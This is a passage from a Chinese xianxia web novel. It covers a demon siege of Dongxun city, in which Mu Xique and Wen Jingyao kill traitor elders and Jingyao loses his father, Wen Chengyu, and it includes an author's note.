在和闻惊遥杀到第七个人的时候, 已是两个时辰后。 闻惊遥收剑入鞘,神容沉静,慕夕阙远远看着他, 忽然觉得,好像瞧见了前世当上圣尊后的闻惊遥。 冷静沉着, 手中的剑即使指着自家的长辈, 剑锋也并不会偏离分毫,仍旧锐利无匹。 慕夕阙冷眼看着他,看他俯身收回那名长老腰间的闻家玉符, 待这件事了了后,他会亲自革去这些人的玉碟。 兴许是今夜打架太多了,慕夕阙一路都在杀, 难以压制前世那些在刀剑火海中练出的杀心, 猝不及防间, 她和闻惊遥对视。 只一息功夫, 慕夕阙迅速敛去眸底的杀意, 眼眸弯弯,冲他笑了笑。 “你忙完了,那我们去找下一个吧?闻时烨已死, 如今就剩两个了,咱们一人一个?” 闻惊遥薄唇微抿, 将玉符收起, 像是没察觉她眼底的仇恨和杀意般,朝她走过去。 “累吗, 夕阙?” 慕夕阙摇摇头:“不累。” 城内战局未停,他们一路来都能听到打斗的声音,未防这些叛徒在背后捅刀, 他们两人先来解决他们,而那些修为强悍的祟种,并非他们二人可以应付。 慕夕阙的话刚落地,便听到东边燃起冲天烟火,有人发了信号。 是闻家主宅的位置。 闻惊遥道:“主宅的那只祟种已除。” 慕夕阙没说话。 闻惊遥看向她,她在看主宅的位置,并未有极尽悲痛的神情,他们认识这般久,慕夕阙不是爱哭的人,他从未见她哭过。 但慕夕阙会伤心,就像小时候一样。 和朝蕴闹别扭后,小夕阙会疯狂练剑,等他或者蔺九尘找过来后,她就会撒脾气,将剑一丢,抱着膝盖蹲下,冷着小脸,但眼底微微红润。 慕夕阙与师盈虚关系颇好,与离蘅自也是如此,离蘅很照顾她。 “夕阙。”闻惊遥低声喊她。 慕夕阙收回目光,淡声道:“没事,还有两个人是吧,我们分头行动吧。” 两人看向远处,如今城内还剩三只祟种。 正北城门的祟种是最先除去的,应是闻承禺斩杀的。 接着是闻家主宅,由万初斩杀。 那么如今西门、东门和南门各有一只祟种。 才死了两只祟种都能闹出这么大的动静。 慕夕阙忽然想到些旁的,眉头皱起。 如果前世东浔主城也遭了祟难,这么大的事为何没传开,她在海外仙岛并未听说,回到十三州后仍未听过,甚至不知那时庄漪禾和闻承禺都已死去。 他们因何而死,今夜会死吗? 如果闻承禺和庄漪禾死了,是被谁杀的,那可是十三州圣尊的爹娘,是东浔闻家家主和灵湘庄家大小姐,两家实力都凶悍。 闻惊遥那时已是圣尊,又为何不缉凶定罪,为爹娘报仇? 这其中弯弯绕绕实在太多,慕夕阙前世活了一百来年,压根没关注过东浔主城的事情,一心追着当年慕家灭门的事情查,查了那么多年,也没查个水落石出。 “夕阙,你在想什么?” 垂下的手被人握住,慕夕阙回神看过去,闻惊遥专注看着她,目光中并无探究,但应当盯了她许久。 被他这么看着,以他心细如发的性子,慕夕阙的心当即便提了起来,反握他的手,从容说道:“只是在想这祟种既然早已埋在东浔,为何那些人选择今夜将他们放出来?” 闻惊遥沉声道:“天罡篆异动,父亲要我去夺天罡篆,以我的实力大抵能力压其余世家子弟,鹤阶必然忌惮不想我能活着出东浔,以及……近来鹤阶频频受挫,父亲还在查闻家叛贼一事,鹤阶应有所耳闻。” 慕夕阙顿住,看着闻惊遥。 他的话当头一棍,让她忽然明白了。 因着她阻止了蔺九尘被害一事,让鹤阶当众名声扫地,旷悬失去唯一的亲传弟子,而徐无咎、随安、随泱被救,闻时烨、旷悬、应逐以及季观澜被杀,这些事都让鹤阶提起了心,同时也让闻承禺开始加快彻查闻家,昼夜不停。 鹤阶不能再坐以待毙,于是主动出击。 这些变故,或许是从蔺九尘活下的那一刻出现的。 慕夕阙垂眸,将与闻惊遥交握的手抽回。 “夕阙?” 慕夕阙并未说话,执剑转身离开。 就算这件事因为她提前了十年发生又怎样,她又何必想这么多? 如果她不救蔺九尘,那么慕家也会重蹈覆辙,她只是做了自己该做的事,救了自己的兄长,杀了仇人罢了。 何况幕后的人本就要对付闻家,否则前世闻承禺和庄漪禾也不会死了。 慕夕阙冷脸向前走,看着远处的炸开的灵压,听到耳畔传来的刀剑声音,一颗心并无波澜。 不管发生什么,她都必须要将鹤阶搞垮,揪出躲在后面布局的人。 闻惊遥跟在她身后,看她纤细的背影穿过倒塌的房舍,走向远处的战局。 “夕阙。”闻惊遥喊住她。 慕夕阙站定不动,她明明想走,脚步却又难迈。 几息后,她并未回头,而是背对他问道:“闻惊遥,还剩两人未除,你确定要先彻查叛贼,再去帮你爹娘吗?” “如果你要去帮他们,帮闻家弟子,这最后两个内贼我们便不找了,我和你一起去。” 闻惊遥知道她的意思。 闻承禺赶去了东门那只祟种所在之处,可他如今应身负重伤,而庄漪禾修为不高,甚至不如慕夕阙和闻惊遥,纵使两人身旁都有长老帮衬,恐怕也难应付剩下的祟种。 今夜吹来的风都带了血气和硝烟,他也再不如平日那般整洁体面,青衫破烂,血垢染身。 手中的家主玉牌温润无杂,突起的“闻”字膈在掌心,闻惊遥半垂眼睫,说道:“夕阙,我私心是想去帮他们的,可这是父亲交待我的事情。” 闻承禺似乎早就想过闻家会有出事的一日。 那夜夜太深了,闻承禺负手站在议事堂前,对闻惊遥说:“家主玉牌在你手中,若有朝一日闻家出事,无论我和你母亲发生何事,东浔如何,你要做的第一件事,是肃清闻家,内乱不除,争斗不止。” 对于闻承禺的叮嘱,闻惊遥能隐约明白一些,却又不能完全理解。 他明白闻承禺一向顾忌大局,便是自己的命也可为此让步。 却又不明白,为何闻家内乱要排在整个东浔之前,当真的出事之时,闻承禺反而要他先除内贼,以及他明明知晓东浔或许会出事,为何不做准备? 闻惊遥不太能懂闻承禺的用意,可作为闻家弟子,有令必行,便是闻承禺要他去死,他纵使不解,兴许也会照做。 慕夕阙却笑了一声,那笑却不像笑,反而有些嘲讽的意味。 闻惊遥抬眸看着她。 慕夕阙没有回头,说道:“确实,你们闻家人都是这样,大局为重嘛。” 她说完,纵身跃上房檐,低头看他:“我们分头行动,另一个人在南边是吧,我去找他,你去找最后一个人。” 两人一高一低对视,彼此无言。 末了,慕夕阙淡声道:“闻惊遥,谨遵家主之命是没错,但人非草木,是人便有私情,你这般顾全大局,不徇私情,永远稳重,不知日后会不会后悔。” 她转身离开,不再看他一眼。 闻惊遥看着她离开,那抹红影消失在视野范围内,直到缩小成一个圆点,再也看不清,他站在原地,听着远处激烈的打斗声,鼻息间的血气令他有些反感,掌心紧攥的玉牌却又时刻提醒他闻承禺的话。 他看向东侧城门的位置,他离那里最近,闻承禺就在那处,若他要去帮忙,一刻钟不到便能赶去。 庄漪禾在南侧城门,他要赶去需要三刻钟。 一边是父母,一边是家主之命。 他该如何选? 片刻后,闻惊遥闭了闭眼,再次睁眼后,眸中挣扎已消失,他转身离开,循着闻家灵印的指引,去找那最后一个内贼。 而另一侧,慕夕阙在房檐上瞬移,一路过来,瞧见倒塌的房舍,偶尔七零八落散开的尸身,祟种便是这般恐怖,纵使是闻家这等门生兴旺,战力强悍的家族,五只祟种也足以摧毁大半城池。 毕竟当年,一百七十三只祟种,毁了十三州和海外仙岛的一半。 慕夕阙收回目光,冷眼注视前方。 她给过闻惊遥机会,本来她也不欲管闻家这些事,她的目的在找出闻家叛贼都有谁,因此才跟着他来,可如今瞧见死了那么多的弟子,街道被毁,而这一切可能是因她的复仇而提前发生的。 她纵使再冷血,再恨闻惊遥,那些仇恨在此刻也让了步。 慕夕阙可以和他一起去除祟,去帮助他的父母,帮助那些年轻弟子。 可闻惊遥选择听从家主之命。 他没有接受她给的机会,她又何必将这些事情的责任强加给自己? 慕夕阙一跃而上,踹开轩窗跳入房中。 屋内正在品茶的人一愣,反应过来,赶忙拔剑迎上。 可那抹红影速度飞快,剑光凛冽,他甚至还未看清那人的脸,她便已逼至身前,似心里有气,下手格外重,拳头握紧,一拳砸在他的脸上,将他的半边牙齿打碎。 与此同时,那柄长剑穿透他的肩膀,一剑将他钉在了墙上。 这些事发生太过突然,那名闻家长老甚至还未来得及惨叫,周围符篆燃烧,他对上一双漂亮的眼,只觉得自己的神识恍惚间被勾走。 他不知抵抗,双眼无神。 没有闻惊遥在这里,慕夕阙终于有时间施展搜魂,燃了提前画好的符篆,对付这个修为只有元婴中境的长老,五张符篆便够,能迅速令他进入神游状态。 她闭上眼,灵力探入他的识海。 …… “什么,你要我将祟种带回东浔?” 有人一拍桌子站了起来,厉声道,“不行,祟种若进城定会死不少人,东浔主城玉灵也势必会阻拦祟种,我怎么带进去!” 旷悬放下手中的茶盏,笑着说道:“闻淮长老,我听闻,闻家半月前迎来了小少主,取名叫……惊遥,好名字,闻惊遥。” 闻淮皱眉,不知他为何忽然提起这件事。 旷悬还端坐在椅内,看着他说:“小少主满月时会办满月礼,届时许多世家皆会去献礼,我鹤阶也会去,到时会赠予你一瓶秽毒,玉灵并不会觉察一瓶小小的秽毒,届时你便将秽毒种给我指认的人,这样便可。” 闻淮并未松了眉头:“感染秽毒的人并非一夕便能化祟,有些几年都不会变祟种,你又怎知那些被种秽毒的人会安心留在东浔?” 旷悬只笑,笑意诡谲:“这个你便放心好了,鹤阶自有办法留下那些人,待需要他们化祟的时候,他们便是祟种。” 他站起身,朝闻淮走去,边走边说:“长老,你为闻家做的事情已经够多了,你们闻家条条框框束缚了多少人,即使到你这个位置了,做错一件事还得按家规处置,罚月银、打板子、甚至革去玉碟,若在我鹤阶,甚至在其他门派,谁敢处置你?” “闻家长老月银才多少,你又要做多少事,这公平吗?何况以闻家嫡传一脉刚正不阿的态度,你得清楚,这千年下来树敌多少,待日后我鹤阶以及其他门派再容忍不下之时,第一个开刀的便是东浔闻家。” “你有年长的父母吧,有道侣吧,有孩子吧,你忍心让他们被闻家牵连?不如趁早弃暗投明,这世道容不下太过不苟的人,想想是道义重要,还是你和家人的命重要。” 旷悬伸出手,掌心里搁置的,是一枚鹤阶玉符。 闻淮低头,看着那枚玉符,眉心紧蹙,眼底挣扎。 屋内安静足有半刻钟。 最后,他接过了那枚鹤阶玉符。 旷悬笑了笑:“对嘛,人往高处走,为了自己着想,这没什么不对的,你说是吧?” 一晃十几年过去。 两月前,同样是东浔主城。 闻淮匆匆走进地牢,阴影里站满了人,他来得最晚,于是低头拱手道:“抱歉,学宫有些事,来晚了些。” 白望舟和旷悬站在一起,闻言摆摆手:“无事,长老这是客气什么,咱们都认识几十年了。” 闻淮擦了擦额上的汗,看向地牢内新关押的两人,瞧清楚那两人的脸后,他惊惧到瞪大了眼。 “这……这不是……青城师家的家主和家主夫人吗?” 那两人昏迷不醒,身上重伤不少,瞧着像是经历了一场恶战。 闻淮瞪过去,几乎破音:“那是师家的人,青城师家与鹤阶有何愁何怨?” 旷悬眯了眯眼,笑着说道:“没办法呀,谁让他们刚好出现在那里,瞧见咱们取秽毒了呢?” 他说着,走向晕倒的离蘅,蹲下来看着他们两人:“啧,两个不识抬举的人竟然敢明面加入鹤阶,暗自书信妄图去揭发我们,也不想想十三州谁敢和鹤阶作对,这般为民为道,那便做个邪祟,满手鲜血吧。” 闻淮张了张嘴,看着那两个晕倒的人,最后默然,只能问:“那师家那边?” 一旁的白望舟说道:“找两个人易容进去就行,师家就一个独女还是个纨绔,成不了什么大气候,但那师大小姐可和慕二小姐是闺中挚友。” “您是想……” “慕二性子高傲不好接触,好友也就几个人,能接触师盈虚,日后对付慕二兴许也简单些。” 闻淮讷讷笑了两声,连声道:“是,白长老思虑颇全。” 他看着晕倒在角落的师家夫妇,看白望舟为他们种下秽毒,日后说不定哪一日便会成为祟种,泯灭人的意识,变成满手鲜血的邪灵。 对付两个护民守道的正道修士,鹤阶既要杀人,还要诛心。 白望舟种下秽毒,淡声道:“两月后便是闻家与慕家的定亲宴,届时便拜托时烨长老,除去慕家大弟子了。” 角落一人拱手回话:“是,白长老客气。” 闻淮看过去,地牢里乌泱泱站了十几个人。 身着闻家宗服的人,带上他,总共有…… 十二人。 符篆燃尽,慕夕阙陡然睁开了眼,她如今的修为不高,搜魂术只能支撑不到两刻钟。 闻淮从搜魂中悠悠转醒,意识刚回归,一柄长剑割破了他的喉咙。 慕夕阙擦去脸上喷溅的鲜血,站起身,脸色冷沉。 她转身便走,立马拨通同心玉牌。 “你忙完了吗?” 闻惊遥听出她有些急促的声音,沉声说道:“刚斩杀了他,已忙完。” “和庄夫人一同去除祟的那个长老是谁?” 闻惊遥皱眉,说道:“应是闻琰长老。” 慕夕阙陡然停下,又问:“那与闻家主一同守门的长老,是谁?” “闻远鸿长老。” 慕夕阙翻身跃下高阁,声音厉然:“我离南门近,我去找庄夫人,你快去寻你父亲,闻琰和闻远鸿有问题!” 闻惊遥并未询问她如何得知的,慕夕阙的话刚说完,他转身跳上房檐,耳畔冷风呼啸而过,身上的伤痕在渗血,他越是催动灵力,血便越流越多。 他急速瞬移,朝着东门奔移,听到自己的呼吸乱了几分,一座座高楼阻挡了他的路,但他只能从房檐上抄近路,于是跃上跃下,灵力损耗颇快。 同心玉牌一直未挂,他听到慕夕阙那边的风声也同样急厉,他们一直跑,朝各自要去的地方迅速奔移。 闻惊遥试图用家主玉牌联络闻承禺,联络其余弟子,可无一人接通。 慕夕阙也同样联系不上庄漪禾。 他们明白,有人施了阵术。 于是他们只能跑,只能拼命奔去,搏那一丝希望。 慕夕阙离南门近,她痛恨闻惊遥,但无法忘却庄漪禾对她的照顾,这个温柔的女子在孩子每次来淞溪时都会托他为慕二小姐捎上些礼物,她与闻惊遥之间的恩怨不应该累及庄漪禾。 她远远看见一抹云青色的身影,她的周围倒下许多弟子,在最后一个弟子死去时,庄漪禾也奋力用一击必杀的招,斩了那只重伤祟种的头颅。 庄漪禾跌落在地,连爬起的力气都没,不住地咳血。 而她的身后,一个本该被祟种杀死的人竟推开身上死去的弟子,捡起手中的剑,悄悄逼向她。 庄漪禾毫无察觉,她看着周围的尸身,几百个闻家一顶一的弟子,那都是每个小家的骄傲和期盼,可死了这么多万里挑一的弟子,才足够杀一只祟种。 她在哭,看着这些弟子的尸身痛哭,哽咽难言,这些年她为了当好这个闻家家主夫人,一直端姿克制,何曾有过这般失态的时候。 可如今这里只活了她一人,对弟子的愧疚和心痛让她抛弃世家的颜面,俯身用额头碰地,几乎放声大哭。 哭声也掩盖了朝她逼近的脚步声。 闻琰脸色阴狠,陡然拔剑高悬过头,欲要朝她的后心刺下。 可那柄剑却并未落下。 血水溅出,闻琰垂眸,看着从自己后心穿过的长剑,将他捅穿,剑尖露在外面,鲜血顺着剑身滴落。 一滴一滴,砸到庄漪禾的脊背上,染红了她的青衣。 她再顾不得哭,忙回头去看。 闻琰还举着剑,瞳仁瞪大,似乎不可置信,一柄长剑穿心而过,与此同时,他的身后露出一人,纤细的少女攥住他的肩膀,一把将他甩至一旁十几丈远。 庄漪禾愕然,对上浑身尘垢,马尾高束的慕夕阙。 慕二小姐那张明艳的脸上有干涸的血迹,也有一路奔来染上的泥垢,分外狼狈,唯有那双眼睛依旧明亮,她看着庄漪禾,似乎松了口气。 “夫人。” 庄漪禾反应很快,厉然看向闻琰,他还在吐血,身子抖了抖,最后一口气也消散,来不及闭上的眼睛无神看着她们。 “小夕,多谢。”庄漪禾站起身,乌发凌乱,脸色冷淡,“想不到鹤阶能耐还不小,连从小跟在家主身边的人都能被渗透。” 说到这里,她顿住,想到什么,陡然看向慕夕阙。 庄漪禾几乎破音:“闻远鸿!” 闻承禺有两个亲信,他们同岁,一同长大,虽为嫡传和旁支,但几人关系素来比旁人更亲近。 庄漪禾不顾伤势,匆匆便要往东门赶去。 刚走了没几步,她听到惊恐的尖叫。 “家主——” 那几乎刺穿她的耳膜,她站定,僵着脖子回眸看去。 慕夕阙拿着同心玉牌,那玉牌并未挂断,声音是从玉牌里传来的。 同心玉牌的另一持有者,是闻惊遥。 东浔闻家清正不苟,家规森严,家主之令无论是谁,无论要做什么,都必须遵从。 闻惊遥从未忤逆闻承禺的话,无论是三岁刚开慧的他被闻承禺关在书房,勒令背完上千条的家规和律法,几日未用一口水,吃一口饭。 还是四岁的他被丢去清心观,守着雾璋山的大雪,耐霜熬寒,塑心明道,十年不得自由。 又或者是十七岁的他被闻承禺派出除祟,因此重伤。 闻家主一声令下,整个闻家都会照做,他这个孩子也不例外。 闻承禺让他去除内贼,他便去除,不问缘由。 可他站在废墟与尸骸遍地的街上,瞧见那抹青影在刚斩杀那只祟种后,被一柄剑穿心而过,重重砸在地上的刹那,满脑子都是慕夕阙的话。 “你这般顾全大局,不徇私情,永远稳重,不知日后会不会后悔?” 闻惊遥向来挺拔不屈的脊背终于弯了一回,脚边的泥垢被一滴滴跌下的眼泪砸湿,手心握着的家主玉牌膈到他觉得掌心都疼了起来,但说不清是身体更疼,还是心里更疼。 他后悔了。 作者有话说:小闻的性格在这里就会是一个转变了,闻家主是好人,是一个很正的人。 还是之前说的,东浔的事情真的是迟早会发生的,小慕对鹤阶做的事情只是提前了东浔的隐患爆发,而上一世闻家比现在这个局面更惨重,后续会写前一世的事情,总之前世就是全员小苦瓜。 不要怪我们小慕!她只是做了自己该做的事情,都怪鹤阶! 第37章 第 37 章 生死 闻承禺死去的那一刹那, 闻惊遥手中的家主玉牌亮了。 提前留在其中的传讯在这一刻响起。 “带所有弟子和百姓退居内城,死守内城结界玉灵,外三城不得留一人。” 是闻承禺的声音, 闻惊遥不知道他何时留下的传讯,当他死后, 这条传讯才会告知于他。 闻惊遥握紧玉牌, 盯着脚边被眼泪打湿的泥泞。 他知道父亲要做什么了。 而远处,在看到闻承禺被闻远鸿一剑穿心后,闻家弟子们惊愕, 在闻承禺重重砸在地上的刹那,一名弟子厉吼:“家主——” 随后所有还存活的弟子都反应过来,狠厉看向闻远鸿, 而方才与他们一起攻祟的长老看也不看他们, 竟直接纵身跃上房檐, 转眼瞬移离开。 “追!不能放他走!” 弟子们悲痛欲绝, 却仍记得不能放凶手离开, 忙要提剑去追。 一道青影瞬间闪至身前。 闻惊遥祭出家主玉牌,神情冷淡:“退居内城,外三城一人不得留。” 弟子们咬牙, 在家主令的要求下,还是强撑理智拱手道:“是!” 有人要去背走闻承禺的尸身, 闻惊遥开口:“迅速撤退, 所有人的尸身一个都不准带走。” 弟子愕然:“少主,可那是家主!” “我说, 离开。”闻惊遥看着他,“退守内城。” 周围寂静,无人说话。 三息过后, 弟子们拱手:“是。” 闻惊遥跃上高楼,用家主玉牌给所有闻家弟子传了信,要求他们在一刻钟内放弃斗争,全数退居内城,外三城不得留一人在。 他站在房檐上,看四通八达的街巷里,接到传讯的弟子们有井有条、冷静沉着挨家挨户搜查,确认没有一个百姓被落下,接着迅速退往内三城。 闻惊遥头也不回,转身离开,不看身后城门处的弟子尸身,不看自己被穿心而过的父亲。 他什么都不看,也不能停 在此刻,他就是闻家家主- 慕夕阙也得知了消息,在确认闻承禺身死的那一刻,她第一反应是去看庄漪禾。 她站在那里,孤零零的,双手仍交握在身前,姿态端正,那双漂亮的眼睛闭上,一滴泪顺着脸颊落下,像颗珍珠般砸落在地。 慕夕阙在那一刻忽然觉得,他们不是没有感情的。 有些人的爱热烈,但如庄漪禾和闻承禺这般身份地位,没办法如胶似漆。 纵使年少成婚时并无多少情分,这些年细水长流的相处,共同扶持着闻家和整个东浔,对彼此深信不疑,时间早已化为了如涓涓细流般的情谊。 “夫人。”慕夕阙并不会安慰人,往往她才是失去挚亲的那个人,连被人安慰的经历都未有,何谈去安抚别人? 可庄漪禾并未如她所想那般痛哭,她只落了那一滴泪,随后睁开眼,对慕夕阙道:“小夕,我们回内城。” 慕夕阙颔首:“好。” 她不知道为何要退守内城,如果回了内城,那么外三城便会被那只仅剩的祟种摧毁,难不成是要等援兵吗? 可她瞧着,庄漪禾像是明白闻承禺的用意。 她和庄漪禾一同跃上房檐,在破败的瓦檐上瞬移离开,路上遇到不少撤离的闻家弟子,带着尚未来得及退走的百姓们,一同奔往内城。 慕夕阙看到了闻惊遥。 他怀里抱着个三四岁的孩子,两人远远对视,闻惊遥仍旧沉着冷静。 待奔入内城后,他将孩子交给一名弟子,叮嘱道:“待事情了后为他寻亲,他与爹娘走散了。” 弟子赶忙接过那个哭累了已睡着的孩子,应道:“是。” 有不少人去看闻惊遥和庄漪禾,失去父亲和夫君,闻家一夕无主,若论谁最痛心,自是挚亲。 可庄漪禾面色沉着,淡然吩咐身旁的弟子去安排百姓们退去哪里,伤重者应如何医治。 而闻惊遥则直奔慕夕阙而去,两人对视片刻,慕夕阙并未安抚他,只是淡淡看着他。 少年默了片刻,说道:“夕阙,可以帮我个忙吗,如今这里只有你我还能大战,有些危险,兴许我们会丧命。” 他顿了顿,说道:“可若你我不拼这一把,我们所有人很可能都会死。” 若只有闻惊遥一人在这里,慕夕阙兴许不会帮他,她纵使要利用闻惊遥做些事情,却也不会为了他将命搭上。 可如今她看着他身后乌泱泱的弟子和百姓们,恍惚间想到,前世慕家灭门之时是否也是这样,无人救援,只能孤军奋战? 慕夕阙别过头,拿起自己靠在墙上的剑,淡声道:“你要做什么?” 闻惊遥握住她的手,带她离开。 弟子们目送他们离开,不知他们要去做什么,但那两道年轻的背影在此刻似乎足以挑起整个东浔主城。 庄漪禾动也不动,并未看闻惊遥和慕夕阙,她始终背着身,垂眸不知在想什么。 一旁的弟子刚医治完一个伤者,一抬头,瞧见庄漪禾眼里砸落的泪花。 一滴一滴,在青砖上晕开。 弟子愕然,低声喃喃道:“夫人……” 闻惊遥已带慕夕阙走出很远,远到足以避开所有人,他们走在还未被摧毁、仍旧整洁有序的内城街道,却是在朝外三城走去。 “父亲死了。”闻惊遥忽然冷不丁说道。 慕夕阙应了声:“我知晓。” 闻惊遥又道:“万初长老也死了。” 慕夕阙沉默,以万初这几百年都未存进分毫的修为,化神初境对上化神满境的祟种,他活不了。 “闻家战死三位长老。” 闻惊遥忽然停下,和慕夕阙交握的手紧了紧,他握紧她的手,却并未看她,而是看向远处的西侧城门,那里还有只祟种。 “夕阙,我不懂,为何金银禄名可以将一个人变得如此肮脏丑恶,可以将自己的武器指向无辜的妇孺孩童,可以冷眼旁观一座城池被毁成这幅模样,无数人因此家破人亡,流离失所。” “我也不懂,这世道真的是我想守住的世道吗,我去夺这个天罡篆,还有意义吗?” “我只是不懂。”闻惊遥闭上眼,握紧她的手,喉口滚了又滚,可就像有一根长满棱刺的棍棒梗在他的喉口,扎得他血肉模糊,呼吸困难。 “……我能守住谁呢?” 曾经慕夕阙也在一个个夜晚问过自己这句话。 她想守住淞溪,可淞溪慕家一夕尽灭,偌大淞溪和慕家产业由鹤阶和其余世家瓜分。 她想守住仅剩的长姐,可长姐为保她活着离开,拔了她的剑自刎。 她想守住同伴,可同伴因为她的冲动尸骨无存。 她什么都守不住。 这让她痛苦了百年,锥心之痛,愧疚与悔恨日夜折磨着她,她不敢停下,只能沿着那条永无尽头的路一直走,走到她生命的尽头。 可直到如今,她看着尚未被毁的内城,街道整洁,富饶繁华,远处天已经快亮了,一道银白的细线像是生生劈开了黑暗,而那座绵延千里的雾璋山安静又肃重地注视着这一切。 淞溪也有座山,名唤琼筵山。 一百余岁的慕夕阙未能给自己的答案,回到十七岁这一年,她似乎想明白了。 “你看到那座山了吗?” 闻惊遥看去,雾气笼罩了雾璋山,高耸的山峰青翠,它护佑了大半东浔主城,是先有了雾璋山,才有了东浔闻家。 慕夕阙道:“你作为闻家少主,如今你要守的是那座山,是那座山下的城,这城里乌泱泱百万人,你只要守住一个人,就够了。” “不要去看这条路上你失去了多少,要看走到路的尽头,你守住了多少。” 闻惊遥与她交握的手越攥越紧,自他出生起那座山便屹立在东浔,护佑一代代人,如今他要守住这座山,守住这座山下的人,守住她。 “夕阙,你知道我要去做什么吗?”闻惊遥声音清淡,手却攥得极紧。 慕夕阙原先是不* 知道的,现在被他拉着朝外城走,也能隐约猜出他要去做什么了。 “你怀疑城内不止这五只祟种,是吗?” “嗯。”闻惊遥道,“父亲要百姓全数撤去内城,应是要舍了外三城。” “外三城还有祟种?” “嗯。” 闻惊遥侧身看她,她的脸上还有干涸的血垢,他很少见她这般狼狈的样子,少年抬手用干净的锦帕替她擦去,露出一张洁净的脸。 “我知道父亲为何要我拿着家主令牌肃清闻家了,长老们应都得知你我将闻家叛贼除去的消息,他们不知你我是否查到了他们,如今不敢回内城的便都是勾结外贼的叛徒。” “还有呢?”慕夕阙看着他,她不觉得闻承禺只有这一个意图。 闻惊遥垂眸,薄唇微抿,说道:“他要用他的死做一件事,你我如今便要去促成这件事。” 慕夕阙点点头,分毫不惧,拉着闻惊遥率先一步往前走:“那走吧。” 她回头看他,笑了笑,说道:“活与死的概率一半对一半嘛,若我能活下来,必要去砍了那些人的脑袋。” 闻惊遥看着她,她那头及腰的头发仅用一根布带束成马尾,如今已经长开的少女褪去了几年前的稚气,却又让他觉得,仿佛看到了那个抬剑指着他的人。 输给她,他从不觉得丢脸,这世上只有输给她,他才心服口服。 闻惊遥握紧她的手,和她一起冲出内城的结界玉灵,奔向西侧城门那只发狂的祟种- 东浔城外风平浪静,师家暗桩内,师盈虚挂断师家玉符。 她坐在木椅中,眉头紧皱。 “奇怪,我爹娘怎么总不接玉符,到底在忙些什么啊?” 她昨日刚送走徐无咎,如今这暗桩内没人跟她吵架顶嘴,还有些无聊,于是师盈虚趴在软榻上,拨通慕夕阙的玉符。 也没人接。 “怎么一个两个都不理人?”师盈虚一把丢了玉牌,翻身躺在软榻上仰头望天,双手交叠在脑后。 躺了没一会儿,扔在榻上的玉符震了震,师盈虚眼眸一亮,赶忙翻身拿起。 可来信既不是她爹娘,也不是慕夕阙,而是蔺九尘。 师盈虚蹙眉,蔺九尘从未主动联系过她,她翻身盘腿坐起,接通玉符。 “师大小姐,你如今还在东浔主城吗?”蔺九尘匆匆开口。 “嗯,在啊,我打算跟夕阙见个面再走。”师盈虚应了声,“怎么了?” “你爹娘是否在一月前离开师家,再也未归?” “……是啊。”师盈虚眉头紧皱,“怎么了?” 她忽然有种不太好的预感,喉口梗塞,心跳无端乱了几分,握住玉符的手收紧,甚至将玉符拿远了些。 玉符对面传来道温和的声音,并不是蔺九尘的声线,而是被她送走的徐无咎。 “你爹娘应当出事了,如今东浔主城被围,城内出现五只祟种,慕家暗桩前去东浔城外查看,整个主城东西南北四个城门全数被围,而位于西侧城门的祟种,似乎是你父亲。” 在那一刻,师盈虚甚至觉得荒谬。 她笑了一声,无端有些恼火,声音大了几分:“你别以为你现在在淞溪我就揍不到你了,我爹是青城师家家主,咱俩斗嘴不带爹娘,你骂我就骂我,咒我爹做什么!” 她声音很大,但拔高的音量却挡不住颤抖的声线。 对面的徐无咎安静了片刻,随后声音低了几分:“抱歉,但事实确实如此。” 没有人会拿这种事情开玩笑,更何况这玉符是蔺九尘拨来的,纵使徐无咎跟她吵架斗嘴,但蔺九尘性子稳重,若非掌握确切的消息,绝无可能告知她。 师盈虚站起身,她站在屋内,觉得呼吸一口空气都在切割肺腑。 视她为掌上明珠的爹娘已经一月未接过她的玉符了,他们先前出远门从未这般久杳无信讯,而慕夕阙也未接通她的玉符。 她忽然弯腰,呕出一口血,剧烈的咳嗽让血堵住嗓子,师盈虚跪在地上,屋外守着的师家弟子听到动静,连门都没来得及敲即刻冲了进来。 “大小姐!” 师盈虚捂住脸,几乎嚎啕大哭。 摔落在地的玉符那端安静了许久,可如今并不是等她哭完的时候,一刻钟后,蔺九尘开口。 “东浔一事过于突然,现在慕家在赶去救援的路上,朝家主向其余世家发了求援,可如今回应的只有三家……”蔺九尘顿了顿,声音微低,“青城师家有件宝物,名唤镇铃,可破万阵,但听闻用了一次之后,器灵会休养五百年,不知师大小姐是否愿意——” “我去拿。”不等蔺九尘说完,师盈虚止住哭腔,推开搀扶的弟子站起身,她狠狠用手背擦了擦脸,“我这就回去拿。” “可镇铃是师家护身的根本,且师家长老们怕是不敢招惹鹤阶——” “谁敢拦,我先砍谁的头!”师盈虚几乎破音,声嘶竭力,“我提刀回去,谁敢拦我!” 她说完,抬手捂着眼睛,挡住从眼眶里涌出来的泪,声音极低又格外哽咽:“我们……我们明明什么都没有做……我爹娘是好人……” 她心知肚明,这么多年来从未分开的父母如同一体,去哪都一起,如今父亲出事,母亲怕是也已遭遇不测。 她只剩自己一个人了。 可这世道不等她成长,如今也没有时间给她脆弱。 师盈虚挂断玉符,用袖口胡乱擦了擦脸上的泪,对身后沉默肃立的师家弟子道:“我要回去拿镇铃,此次师家必定要招惹鹤阶,不想回去的现在就可以走。” 十几个沉默的弟子安静了会儿,在师盈虚偶尔挡不住的啜泣中,齐齐拱手行礼:“弟子们送大小姐回师家取镇铃,誓死为家主和夫人雪恨。” 师盈虚扭头就走,她登上灵舟,离开东浔境内之时回头望去,云雾遮挡了她的视线,看不到东浔主城内如今是何状况。 但她的爹娘和她的挚友都被困在那座城中- 在灵舟上联络过师盈虚后,蔺九尘挂断玉符,安静看着灵舟下方迅速掠过的城池和山川。 徐无咎低低咳嗽几声。 蔺九尘面无表情说:“你为何要跟着来?你身上毒素还未清,也打斗不了。” “我有笔账得找鹤阶算。”徐无咎擦了擦唇角溢出的血,看着东浔主城的方向,目光冰冷,“义父死前来见过我,让我不要再查当年陈家的事,就在倦天涯当个炼器师,可我当时生气和他吵了一架,如今想来,义父那时应已知晓自己中了秽毒。” 蔺九尘蹙眉:“任前辈教我修习刀法十几年,我深知他的品行,若他知晓自己中了秽毒,定会当即自戕,不会等着化祟为祸世间。” “他是要自戕,但在自戕前,他得知了亲妹的消息。”徐无咎冷声说道,“义父有一个小十岁的亲妹妹,义父的爹娘在二女刚出生一年便离世,此后由当时还年少的义父独自养育妹妹。” “但几十年前的一场祟难,义父与亲妹走散了,那时那妹妹才七岁,此后义父又意外结识了应逐的父亲,上一任千机宗宗主,被他收为弟子,拜入千机宗,并在先宗主离世后继任大长老,辅佐应逐当宗主。” 